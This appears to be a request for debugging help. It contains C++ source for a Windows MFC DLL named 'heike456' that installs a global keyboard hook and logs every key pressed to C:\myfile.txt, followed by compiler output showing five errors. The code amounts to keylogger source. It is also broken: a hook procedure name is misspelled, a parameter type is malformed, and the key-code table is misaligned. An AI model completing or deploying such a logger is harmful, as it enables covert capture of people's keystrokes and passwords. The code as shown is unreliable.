#include "stdafx.h"
#include <afxdllx.h>
#include"TestHook.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#define TOTAL_KEYS 78
#pragma data_seg("mydata")
HHOOK glhTestHook=NULL;
HINSTANCE glhKInstance=NULL;   
#pragma data_seg()
CString cskey[TOTAL_KEYS]={"Backspace","Tab","Enter","Shift","Ctrl","Alt","Pause","Esc","page up","page down","end","Home","left arrow","up arrow","right arrow","down arrow","PRINT SCREEN","INSERT","DELETE","0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","CAPSLOCK ","NUMPAD0","NUMPAD1","NUMPAD2","NUMPAD3","NUMPAD4","NUMPAD5","NUMPAD6","NUMPAD7","NUMPAD8","NUMPAD9","F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","F11","F12"};
int nkey[TOTAL_KEYS]={0x08,0x09,0x0d,0x10,0x11,0x12,0x13,0x1b,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,0x2c,0x2d,0x2d,0x2e,0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x5b,0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x79,0x7a,0x7b};
    static  AFX_EXTENSION_MODULE Heike456DLL= { NULL,NULL};extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
// Remove this if you use lpReserved
UNREFERENCED_PARAMETER(lpReserved); if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("HEIKE456.DLL Initializing!\n");

// Extension DLL one-time initialization
if (!AfxInitExtensionModule(Heike456DLL, hInstance))
return 0; // Insert this DLL into the resource chain
// NOTE: If this Extension DLL is being implicitly linked to by
//  an MFC Regular DLL (such as an ActiveX Control)
//  instead of an MFC application, then you will want to
//  remove this line from DllMain and put it in a separate
//  function exported from this Extension DLL.  The Regular DLL
//  that uses this Extension DLL should then explicitly call that
//  function to initialize this Extension DLL.  Otherwise,
//  the CDynLinkLibrary object will not be attached to the
//  Regular DLL's resource chain, and serious problems will
//  result. new CDynLinkLibrary(Heike456DLL);
glhKInstance=hInstance;
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("HEIKE456.DLL Terminating!\n");
// Terminate the library before destructors are called
AfxTermExtensionModule(Heike456DLL);
}
return 1;   // ok
}
CTestHook::CTestHook()
{}
CTestHook::~CTestHook()
{StopHook();}
BOOL CTestHook::StartHook()
{glhTestHook=SetWindowsHookEx(WH_KEYBOARD,KeyboradProc,glhKInstance,0);
if(glhTestHook!=NULL)
return TRUE;
return FALSE;}
LRESULT WINAPI KeyboradProc(int nCode,WINAPI wParam,LPARAM lParam)
{
for(int i=0;i<TOTAL_KEYS;i++)
{if(nkey[i]==(int)wParam)
{int nkeystatues=lParam & 0x80000000;
switch(nkeystatues)
case 0:
{char *pszFileName="C:\\myfile.txt";
CStdioFile myfile;
CFileException fileException;
if(myfile.Open(pszFileName,CFile::typeText|CFile::modeCreate|CFile::modeNoTruncate|CFile::modeReadWrite),&fileException)
{myfile.SeekToEnd();
myfile.WriteString(cskey[i]);}
else 
{TRACE("can't open file %s,error=%u\n",pszFileName,fileException.m_cause);}
}
}
}
return CallNextHookEx(glhTestHook, nCode,wParam,lParam);
}
BOOL CTestHook::StopHook()
{BOOL bResult=FALSE;
if(glhTestHook)
{bResult=UnhookWindowsHookEx(glhTestHook);
if(bResult)
{glhTestHook=NULL;}
}
return bResult;}
--------------------Configuration: heike456 - Win32 Debug--------------------
Compiling...
heike456.cpp
D:\常用工具\MyProjects\heike456\heike456.cpp(63) : error C2065: 'KeyboradProc' : undeclared identifier
D:\常用工具\MyProjects\heike456\heike456.cpp(67) : error C2059: syntax error : '__stdcall'
D:\常用工具\MyProjects\heike456\heike456.cpp(68) : error C2373: 'KeyboradProc' : redefinition; different type modifiers
D:\常用工具\MyProjects\heike456\heike456.cpp(70) : error C2065: 'wParam' : undeclared identifier
D:\常用工具\MyProjects\heike456\heike456.cpp(71) : error C2065: 'lParam' : undeclared identifier
Error executing cl.exe.heike456.dll - 5 error(s), 0 warning(s)